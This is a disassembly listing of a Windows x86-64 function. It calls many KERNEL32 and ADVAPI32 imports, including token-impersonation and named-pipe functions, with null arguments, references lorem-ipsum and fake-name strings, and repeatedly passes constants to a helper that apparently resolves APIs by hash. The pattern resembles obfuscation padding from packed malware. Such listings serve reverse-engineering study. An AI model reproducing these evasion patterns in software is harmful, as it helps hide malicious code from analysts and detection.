mov rdx, qword [0x004cc330]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
mov qword [rsp + 0x78], rax
call rax
lea rdx, str.MargaretteJohns
lea rcx, str.Eius_animi_voluptas_a_eveniet_voluptas_vitae_sint
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cbdc0]
xor edx, edx
xor ecx, ecx
lea r8, str.Impedit_nobis_esse_laudantium_quia_odio
mov dword [rax], 0xf8b64f1d
mov rax, qword [0x004cbbc0]
mov dword [rax], 0xdab94161
mov rax, qword [0x004cc400]
mov dword [rax], 0x4c3a9907
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov qword [rsp + 0x60], rax
call rax
mov r11, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x80], r11
call r11
mov rax, qword [0x004cbcc0]
xor ecx, ecx
mov dword [rax], 0x660d760a
call rbp
mov rax, qword [0x004cc150]
xor edx, edx
xor ecx, ecx
mov rbx, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov dword [rax], 0xa5fb625e
call rbx
mov rax, qword [0x004cbc90]
xor ecx, ecx
mov dword [rax], 0xe6ee6a7a
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cc1c0]
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rax], 0xeaa3145f
mov rax, qword [0x004cbe40]
mov edx, dword [rax]
mov rax, qword [0x004cbe30]
mov dword [rax], edx
mov rax, qword [0x004cbd10]
mov dword [rax], 0x89b57cb1
call r12
mov ecx, 0xccdcecd7
call fcn.00413350
mov rdx, qword [0x004cc340]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cbd80]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc170]
mov r10, qword [rsp + 0x88]
lea rdx, str.ReganLegros
mov dword [rcx], eax
xor ecx, ecx
call r10
mov ecx, 0x7a3124d4
call fcn.00413350
mov rdx, qword [0x004cc3a0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cc110]
mov rcx, qword [0x004cc1a0]
mov edx, dword [rax]
mov rax, qword [0x004cbe00]
mov dword [rax], edx
mov rax, qword [0x004cc230]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cbc30]
xor ecx, ecx
mov dword [rax], 0x6e2baf
call rdi
xor ecx, ecx
mov dword [r15], 0xf0266b89
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
call r15
mov rax, qword [0x004cbc90]
mov rdx, qword [0x004cc3d0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbe90]
mov dword [rax], 0xe8b48f72
call r13
mov r10, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
mov rax, qword [0x004cc0b0]
xor ecx, ecx
mov qword [rsp + 0x88], r10
mov dword [rax], 0x7a0ad8a5
call r10
mov ecx, 0xc6bb5470
call fcn.00413350
mov rcx, qword [0x004cbbc0]
mov dword [rcx], eax
mov rax, qword [0x004cbbd0]
xor ecx, ecx
mov dword [rax], 0xc3f83523
call r12
xor ecx, ecx
call rsi
mov r11, qword [rsp + 0x80]
xor edx, edx
xor ecx, ecx
call r11
xor ecx, ecx
call r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x004cbd60]
mov rdx, qword [0x004cc480]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbp
lea r8, str.Earum_voluptas_fuga_autem_sed_itaque_debitis_aspernatur_enim_reiciendis_reiciendis_aut
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov r15, qword [0x004cbc50]
mov rcx, qword [0x004cc400]
mov eax, dword [r15]
mov dword [rcx], eax
mov rax, qword [0x004cc060]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc410]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cc170]
mov rcx, qword [0x004cbeb0]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xf2ca5c2d
call fcn.00413350
mov rdx, qword [0x004cbe50]
lea rcx, str.Ut_quaerat_est_placeat_quis
mov dword [rdx], eax
lea rdx, str.Deserunt_odio_inventore
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov r8, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Praesentium_quod_voluptatem
mov qword [rsp + 0x80], r8
call r8
mov r8, qword [rsp + 0x80]
xor edx, edx
lea rcx, str.MrsNyaHansenII
call r8
mov rax, qword [0x004cc170]
xor ecx, ecx
mov dword [rax], 0xf38ae476
mov rax, qword [0x004cc340]
mov dword [rax], 0x7a0f3b73
call rbp
mov rax, qword [0x004cc3a0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc220]
mov dword [rax], edx
call rbp
mov rax, qword [0x004cc120]
mov rdx, qword [0x004cbc70]
mov ecx, 0xa9f56484
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc300]
mov dword [rdx], eax
mov rax, qword [0x004cc410]
mov edx, dword [rax]
mov rax, qword [0x004cbce0]
mov dword [rax], edx
mov rax, qword [0x004cc470]
mov edx, dword [rax]
mov rax, qword [0x004cc440]
mov dword [rax], edx
mov rax, qword [0x004cbd80]
mov ecx, dword [rax]
call fcn.00413350
mov rbp, qword [0x004cc0c0]
mov ecx, 0x904283b6
mov dword [rbp], eax
call fcn.00413350
mov rdx, qword [0x004cc200]
xor ecx, ecx
mov dword [rbp], 0xa8715331
mov dword [rdx], eax
mov rax, qword [0x004cbcb0]
xor edx, edx
mov dword [rax], 0x9160e9cc
call rbx
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbc90]
xor r8d, r8d
xor edx, edx
mov r10, qword [rsp + 0x88]
mov rcx, qword [0x004cc1c0]
mov eax, dword [rax]
mov qword [rsp + 0x80], r10
mov dword [rcx], eax
xor ecx, ecx
call r10
xor ecx, ecx
call r14
xor ecx, ecx
call r13
xor edx, edx
lea rcx, str.YoshikoGreenfelderJr
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov rax, qword [0x004cbdc0]
mov rdx, qword [0x004cbd80]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cc2e0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbba0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x78]
call rax
mov ecx, 0x5e7f9bd9
call fcn.00413350
mov rax, qword [0x004cbeb0]
mov rcx, qword [0x004cc3d0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
lea rdx, str.Occaecati_eveniet_ut_placeat_alias_dicta_beatae_sed_sequi_vitae_molestiae_maxime
lea rcx, str.Debitis_exercitationem_quibusdam_earum_debitis_voluptatibus
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cbdf0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc0e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cc3e0]
mov rcx, qword [0x004cc1c0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
mov r10, qword [rsp + 0x80]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r10
xor ecx, ecx
call r13
xor ecx, ecx
call r12
mov ecx, 0xa9d4969e
call fcn.00413350
xor edx, edx
xor ecx, ecx
mov dword [rbp], eax
call rbx
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0x51cdffb
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
mov rax, qword [rsp + 0x70]
call rax
lea r8, str.ColumbusMurray
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r14
xor ecx, ecx
call r12
mov rax, qword [0x004cc380]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc20]
mov r9, qword [rsp + 0x90]
mov dword [rdx], eax
mov rax, qword [0x004cc460]
mov edx, dword [rax]
mov rax, qword [0x004cc1f0]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
call r9
xor ecx, ecx
call rsi
mov rax, qword [0x004cbe60]
mov ecx, 0x122f5c8c
mov dword [rax], 0xefd86bc2
call fcn.00413350
mov rdx, qword [0x004cc0a0]
mov ecx, 0x51b81536
mov dword [rdx], eax
call fcn.00413350
mov rbx, qword [0x004cc340]
mov rsi, qword [0x004cbe90]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [0x004cbe70]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x68]
call rax
nop
add rsp, 0x948
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret